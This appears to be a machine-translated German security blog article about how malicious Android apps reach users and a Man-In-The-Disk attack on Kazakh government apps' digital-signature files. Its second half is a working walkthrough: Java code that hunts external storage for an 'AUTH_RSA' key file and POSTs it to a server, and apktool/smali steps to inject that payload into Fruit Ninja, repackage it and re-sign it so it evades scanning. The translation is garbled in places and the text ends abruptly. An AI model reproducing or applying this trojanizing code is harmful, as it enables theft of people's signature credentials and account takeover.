Die mobilen Anwendungen in Kasachstan, mEGOV und UAPF, verwenden digitale Signaturen als eine der Autorisierungsmethoden. Um sich auf diese Weise anzumelden, müssen Sie die Datei von der digitalen Signatur auf das Telefon übertragen. Diese Autorisierungsmethode ist anfällig für einen Man-In-The-Disk-Angriff (mehr dazu weiter unten). Um Opfer eines Angriffs zu werden, müssen Sie nur eine Ihrer Lieblingsanwendungen installieren, die von einem Angreifer heimlich geändert wurde. Ich werde zeigen, wie das geht. Finden Sie zunächst heraus, wie solche Anwendungen zum Benutzer gelangen können.
Wie bösartige Anwendungen auf das Telefon gelangen
Lokale Anwendungsmärkte in China, Iran usw.
Beispiele: cafebazaar.ir, android.myapp.com, apkplz.net
Diese Websites wurden aufgrund von Zensur und Blockierung von Google-Diensten und / oder Servern offizieller Anwendungen angezeigt. Normalerweise enthalten sie lokale Analoga beliebter Anwendungen und deren Modifikationen. Solche Modifikationen (wie dieses iranische Telegramm ) enthalten angeblich neue, coole Funktionen. Was ist die Gefahr solcher Anwendungen? Man weiß nie, was sie wirklich tun. Darüber hinaus verpassen einige Regierungen die Gelegenheit nicht und veröffentlichen ihre Änderungen mit Tools zur Verfolgung des Benutzers. Regierungs-Spionage-Apps sind per Definition bösartig. Einmal habe ich eine bösartige Anwendung untersucht ( Virustotal-Ergebnis , Beispiel hier , Passwort: infiziert), die das Telefon nach Telegrammklonen durchsucht hat:
"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"
Diese Liste zeigt die tatsächliche Relevanz und Beliebtheit solcher Anwendungen. Die Untersuchung dieser Malware hat mich zu einem Artikel geführt , in dem es um einen Telegrammklon geht , der von der iranischen Regierung über den Cafebazaar- Markt verteilt wird. Zitat von dort:
Dies scheint nach den Vorgaben der iranischen Regierung entwickelt zu werden, damit sie jedes von den Nutzern der App vorgeschlagene Bit und Byte verfolgen können.
Wie viele Telegrammklone sehen Sie ?: ( Quelle )

Für normale Benutzer ist es fast unmöglich, sich davor zu schützen, da es keine andere Wahl gibt - offizielle Quellen werden intensiv blockiert und ihre eigenen werden beworben. Forscher und Antiviren-Unternehmen aus der ganzen Welt melden dies nach der Identifizierung infizierter Anwendungen unverzüglich an Google und werden aus dem Play Market entfernt, der offensichtlich nicht für Anwendungsmärkte von Drittanbietern gilt. Die Richtlinien von Google zur Zulassung gehosteter Anwendungen gelten auch nicht für diese.
Einige der Märkte sind sehr beliebt, wie beispielsweise die Tencent My App mit 260 Millionen Nutzern pro Monat ( Quelle )

Lokale Anwendungen, die in derselben Region / demselben Land verwendet werden, verwenden häufig dasselbe SDK (Satz von Bibliotheken) für die Verfolgung von Werbung und die soziale Integration. Netzwerke usw. ... Wenn dieselbe Bibliothek in mehreren Anwendungen verwendet wird, können mit hoher Wahrscheinlichkeit einige dieser Anwendungen auf einem Benutzer installiert werden. Solche Bibliotheken können die Funktionen verschiedener Anwendungen, in die sie integriert sind, verwenden, um Benutzerdaten zu stehlen und die erteilten Berechtigungen zu umgehen. Beispielsweise hat eine Anwendung Zugriff auf den Empfang von IMEI, jedoch keinen Zugriff auf das Internet. Die eingebaute Bibliothek weiß davon und liest daher die IMEI und speichert sie auf der SD-Karte in einem versteckten Ordner. Dieselbe Bibliothek ist in eine andere Anwendung integriert, die über einen Internetzugang, jedoch keinen Zugriff auf IMEI verfügt, sie aus einem versteckten Ordner liest und an ihren Server sendet. Diese Methode wurde von zwei chinesischen Unternehmen, Baidu und Salmonads, angewendet. Mehr dazu lesen Sie hier .
Phishing
Klassisches Phishing ist das Hauptinstrument internationaler Gruppen und spezieller Dienste verschiedener Länder . Wie so oft wird eine reguläre Messenger-Anwendung verwendet, Funktionen zum Verfolgen hinzugefügt und dann massiv verteilt, mit der Markierung "Schau, was für eine coole Anwendung für die Kommunikation." Die Lieferung an Benutzer kann über soziale Netzwerke erfolgen. Netzwerke, Spam WhatsApp / Telegramm, integrierte Anzeigen auf Websites usw.

Quelle, S. 19.
Phishing-Links in Form von Beiträgen auf Facebook:

Quelle, S. 22
Popup auf einer berühmten Seite

Quelle
Telegramm-Bots / Gruppen
Beispiel: @apkdl_bot, t.me/fun_android
Es gibt Telegramm-Bots zum Herunterladen von APK-Dateien. Anstelle einer legitimen Anwendung können sie Malware in Sie eindringen lassen. Oder infizieren Sie Ihre gewünschte Anwendung im laufenden Betrieb. Das funktioniert so: Sie geben den Befehl bot / group ein, den Sie "Instagram" herunterladen möchten. Das Skript auf der anderen Seite lädt es von Google Play herunter, entpackt es, fügt schädlichen Code hinzu, packt es zurück und gibt es an Sie zurück. Wie dies automatisch gemacht wird, werde ich versuchen, in naher Zukunft ein Beispiel zu zeigen.
Vermittlungsstellen von Drittanbietern
Beispiel: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/
Es gibt eine große Anzahl inoffizieller Websites zum Herunterladen von Android-Anwendungen. Einige von ihnen bieten die Möglichkeit, Ihre Anwendung herunterzuladen, was möglicherweise schädlich ist. Beispiel auf dieser Site herunterladen:

Ein Beispiel für eine Malvari, die sich auf diese Weise verbreitet hat ( Quelle ):

Beispielstatistiken für inoffizielle Quellen finden Sie im Android-Sicherheitsbericht 2018 - 1,6 Milliarden blockierte Google Play Protect-Installationen, die nicht von Google Play stammen. Es gab viel mehr Installationen.
Einige schreiben sogar Artikel darüber, wie gut es ist, Märkte von Drittanbietern zu nutzen.
Eine separate ganze Welt besteht aus Websites, die Anwendungen ohne Werbung vertreiben, kostenpflichtigen gehackten kostenpflichtigen Anwendungen und Anwendungen mit zusätzlichen Funktionen:


Google Play
Die offizielle Quelle bietet Schutz vor verdächtigen Anwendungen namens Google Play Protect, bei denen mithilfe des maschinellen Lernens der Grad der Malware ermittelt wird. Ein solcher Schutz kann jedoch nicht genau verstehen, welche Anwendung schädlich ist und welche nicht, da dies eine vollständige manuelle Überprüfung erfordert. Was ist der Unterschied zwischen einer Spionage-App, die alle Ihre Bewegungen überwacht, und einer laufenden App? Forscher finden ständig Hunderte infizierter Anwendungen, die auf Google Play veröffentlicht wurden.
Normalerweise nennt sich eine böswillige Anwendung Google Play Services oder auf ähnliche Weise und setzt ein ähnliches Symbol . Dies ist für Benutzer irreführend. Warum Google Play das Symbol nicht auf Ähnlichkeit mit seinen offiziellen Anwendungen überprüft, ist unklar. Einmal in einem Telegramm habe ich einen Avatar mit einem Papierflugzeug platziert und sie haben mich blockiert. Eine andere Methode, die von böswilligen Anwendungen verwendet wird, besteht darin, die Buchstaben ("L" durch "I", "g" durch "q") zu ersetzen, um einen Namen zu erstellen, der der offiziellen Anwendung ähnelt:

Quelle
Andere Wege
In Telefonreparaturdiensten
Beim Überqueren der Grenze
Stellen Sie über USB eine Verbindung zu einem unbekannten Computer her, wobei das Debuggen aktiviert ist.
Ein Angreifer, der Zugriff auf Ihr Google-Konto erhält und die Anwendung über Google Play auf Ihrem Telefon installiert.
Vorinstallierte Anwendungen
Auf gerichtliche Anordnung und ohne. Von der Polizei oder Sonderdiensten
Wasserlochangriff
Sie sind gekommen, um einen Freund zu besuchen, und sein Fernseher hat Ihr Telefon infiziert
Die auf Fire TV-Geräten angezeigte Version installiert sich selbst als App namens "Test" mit dem Paketnamen "com.google.time.timer". Sobald es ein Android-Gerät infiziert, beginnt es, die Ressourcen des Geräts zu verwenden, um Kryptowährungen abzubauen, und versucht, sich auf andere Android-Geräte im selben Netzwerk zu verbreiten.
Wie Angreifer Android-Anwendungen infizieren
Jetzt wissen wir, wie eine schädliche Anwendung auf Ihr Telefon gelangen kann. Als nächstes wird gezeigt, wie ein Angreifer jede Android-Anwendung ändern kann. Ein Beispiel wird für die Implementierung des Codes im beliebten Spiel Fruit Ninja verwendet . Der Code durchsucht den Speicher des Telefons, sucht mit EDS nach einer Datei und sendet sie an den Server (root ist natürlich nicht erforderlich).
Was ist Man-In-The-Disk?
Die Öffentlichkeit machte nach diesem Artikel auf diesen Angriffsvektor aufmerksam. Ich rate Ihnen, es zuerst zu lesen.
Für diejenigen, die gelesen haben, möchte ich hinzufügen, dass das Ändern der freigegebenen Dateien anderer Anwendungen auch zur Ausnutzung von Sicherheitslücken in Bibliotheken führen kann, die diese Dateien verwenden
Wer nicht gelesen hat, werde ich kurz erzählen. Lassen Sie uns zunächst Konzepte definieren. In Android ist der Speicher für Anwendungen in internen Speicher und externen Speicher unterteilt. Interner Speicher ist der interne Speicher der Anwendung, auf den nur er und niemand anderes zugreifen kann. Absolut jede Anwendung auf dem Telefon entspricht einem separaten Benutzer und einem separaten Ordner mit Rechten nur für diesen Benutzer. Dies ist ein großartiger Abwehrmechanismus. Externer Speicher - der Hauptspeicher des Telefons, auf den alle Anwendungen zugreifen können (dazu gehört auch die SD-Karte). Warum wird es benötigt? Nehmen Sie eine Fotoeditor-Anwendung. Nach der Bearbeitung müssen Sie das Foto speichern, damit es über die Galerie zugänglich ist. Wenn Sie es im internen Speicher ablegen, steht es natürlich niemandem außer Ihrer Anwendung zur Verfügung. Oder ein Browser, der alle Dateien in den freigegebenen Ordner Downloads herunterlädt.
Jede Android-Anwendung verfügt über eigene Berechtigungen, die sie anfordert. Aber es ist nicht so gut mit ihnen. Unter ihnen gibt es solche, die Menschen bereitwillig schließen und nicht ernst nehmen. Darunter befindet sich READ_EXTERNAL_STORAGE. Damit kann die Anwendung auf den Hauptspeicher des Telefons und damit auf alle Daten anderer Anwendungen zugreifen. Schließlich wird sich niemand wundern, wenn die Notebook-Anwendung nach dieser Erlaubnis fragt. Möglicherweise muss er Einstellungen speichern und dort zwischenspeichern. Das Manipulieren von Daten aus anderen Anwendungen im externen Speicher ist der Man-In-The-Disk-Angriff. Eine andere, fast standardmäßige Auflösung ist INTERNET. Wie der Name schon sagt, kann die Anwendung auf das Netzwerk zugreifen. Das Traurigste ist, dass dem Benutzer kein spezielles Fenster angezeigt wird, in dem er aufgefordert wird, diese Berechtigung zu erteilen. Sie schreiben es einfach in Ihre Bewerbung und sie geben es Ihnen.
Ich habe die 15 besten kasachischen Anwendungen heruntergeladen und ein Skript geschrieben , das Statistiken zu den angeforderten Berechtigungen anzeigt. Wie Sie sehen können, sind READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE und INTERNET sehr beliebt. Dies bedeutet, dass Angreifer Code, der in den meisten Anwendungen digitale Signaturen stiehlt, weniger schmerzhaft einbetten können.
Liste der getesteten Anwendungen
2-GIS, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegramm, VK, WhatsApp, Yandex Music, Yandex Taxi
, Zakon KZ

Wenn Sie WhatsApp auf ein verwurzeltes Telefon legen, wird Ihre gesamte Korrespondenz im Klartext gespeichert. Anscheinend hält WhatsApp es nicht für notwendig, auf einem solchen "beschädigten" Telefon überhaupt eine Verschlüsselung zu verwenden. Außerdem speichert WhatsApp im externen Speicher SSLSessionCache (dateibasierter Cache etablierter SSL-Sitzungen). In Zukunft werde ich versuchen, herauszufinden, wie Sie diese Dateien verwenden können, die vom Telefon eines anderen empfangen wurden.
Telegramme und Instagram speichern zwischengespeicherte Bilder im gemeinsamen Speicher. Fast alle Fotos, die Sie anzeigen, und die Fotos, die Sie sich gegenseitig senden, sind für jede Anwendung auf Ihrem Telefon verfügbar.

Für MEGOV- und ENPF-Anwendungen muss sich die digitale Signatur im externen Speicher befinden:


Google ist sich des Problems bewusst und ist dabei, READ_EXTERNAL_STORAGE in Android Q zu ändern . Zitat:
Um auf andere Dateien zugreifen zu können, die von einer anderen App erstellt wurden, einschließlich Dateien in einem "Downloads" -Verzeichnis, muss Ihre App das Storage Access Framework verwenden, mit dem der Benutzer eine bestimmte Datei auswählen kann.
Nutzdaten erstellen
Kommen wir zur Hauptfunktion des Scanners. Es wird aus drei Hauptklassen bestehen: StageAttack
, MaliciousService
, MaliciousTaskManager
.

StageAttack
- besteht aus einer statischen Methode, die unseren Angriff startet. Wir erstellen speziell eine statische Übergangsmethode, um die Implementierung in der fertigen Klasse zu vereinfachen.
public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } }
MaliciousService
ist ein Dienst, der den gesamten externen Speicher rekursiv durchsucht.
private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; }
Wenn das EDS nicht gefunden wird, wiederholen wir die Suche alle 5 Sekunden, bis wir es finden. Sie können ein beliebiges Intervall verwenden. Bei zu kurzen Intervallen besteht die Gefahr, dass unser Service vom System gestoppt wird. Je höher die Android-Version, desto strenger die Richtlinien für den Betrieb von Hintergrundprozessen. Wir können den Vordergrunddienst auch nicht verwenden, da hierfür ständig eine Benachrichtigung hängen muss. Da ich kein Android-Entwickler bin, habe ich viel Zeit damit verbracht, einen Weg zu finden, um eine Aufgabe zu planen, die pünktlich erledigt wird. Es ist nicht so einfach wie es scheint. In Android werden hierfür verschiedene Methoden empfohlen (JobService, WorkManager, setRepeating () AlarmManager). In der Dokumentation wird nicht ausdrücklich angegeben, dass das Intervall der Aufgabe mindestens 15 Minuten betragen sollte und die Ausführungszeit vom Wunsch des Systems abhängt. Dies passt nicht zu uns, daher verwenden wir die AlarmManager
Klasse, die setExactAndAllowWhileIdle()
-Methode. Wenn die Aufgabe abgeschlossen ist, planen wir sie erneut im gleichen Intervall. Dies ist die einzige mir derzeit bekannte Methode mit der höchsten Genauigkeit.
private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }
Wenn ein EDS gefunden wird, senden wir die Datei an den Server:
private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); }
Wir führen Nutzlast ein
Zuerst dekompilieren wir Fruit Ninja mit apktool . Wir dekompilieren die Anwendung nicht vor Java-Code, da wir sie nach der Änderung nicht wieder zusammensetzen können. Wir müssen genau kleine Klassen bekommen. Und wir werden unseren Code auch in Form von Smali-Code implementieren.
Was ist Smali-Code?
Android-Anwendungen werden in Bytecode kompiliert, der von der virtuellen Dalvik-Maschine ausgeführt wird. Der Bytecode selbst ist schwer zu lesen, daher heißt seine für Menschen lesbare Form smali. Smali ist ein Analogon der Assemblersprache, aber für Android.
Wenn unsere Nutzdaten beim Start der Anwendung gestartet werden sollen, müssen wir den Einstiegspunkt ändern. Der Einstiegspunkt für eine Anwendungs-GUI ist eine untergeordnete Activity-Klasse, die ACTION_MAIN verwendet. Öffnen Sie den Ordner mit der dekompilierten Anwendung und suchen Sie ihn in der Datei AndroidManifest.xml:
<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity>
Wir haben die com.halfbrick.mortar.MortarGameLauncherActivity
uns com.halfbrick.mortar.MortarGameLauncherActivity
Klasse com.halfbrick.mortar.MortarGameLauncherActivity
gefunden. Bevor Sie es studieren, schauen wir uns den Lebenszyklus der Aktivität an. Dies wird uns nützlich sein.

Quelle
Offene Aktivität, für mich liegt sie entlang der Pfadbasis \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali . Wenn Sie noch keinen Smali-Code gesehen haben, ist dies nicht beängstigend. Es ist einfach genug zu lesen und logisch zu löschen.
.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
Wir haben herausgefunden, dass MortarGameLauncherActivity
startet und schließt. Öffnen Sie MortarGameActivity
. Wir werden es nicht vollständig kommentieren. Wir sind daran interessiert, was in der Oncreate
Methode passiert, da sie die Erstellung von Aktivitäten startet. Unmittelbar danach werden wir unseren Code einfügen. Es ist wichtig, die Linie beim Einfügen nicht zu stören.
.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <---------------------------
Jetzt brauchen wir einen kleinen Nutzlastcode. Wir sammeln unseren Scanner in apk und dekompilieren. Wir übertragen unsere drei dekompilierten Klassen, die entlang des Pfades smali \ kz \ c \ signscan liegen , in den Ordner com / halfbrick / mortar . Ändern Sie den Paketnamen in alle Klassen von kz.c.signscan in com.halfbrick.mortar .
Es war:
.class public Lkz/c/signscan/StageAttack;
Es wurde:
.class public Lcom/halfbrick/mortar/StageAttack;
In der smali MainActivity-Klasse verwenden MainActivity
die Payload-Aufrufzeile:
invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V
Und in MortarGameActivity
einfügen. Infolgedessen sieht die onCreate()
-Methode folgendermaßen aus:
... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...
Die MaliciousTaskManager
Klasse in Payload ist BroadcastReceiver und MaliciousService
ist IntentService, daher müssen wir sie in das Manifest schreiben.
... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ...
Wir packen alles mit dem apktool b myfolder
. Als Ergebnis erhalten wir die apk-Datei. Jetzt müssen wir es unterschreiben, damit der Android unsere Bewerbung akzeptiert. Zuerst generieren wir einen Schlüssel, mit dem wir unterschreiben:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
Wir unterschreiben apk:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Virustotal wird uns nichts zeigen, da wir nichts „Illegales“ tun. - .

, :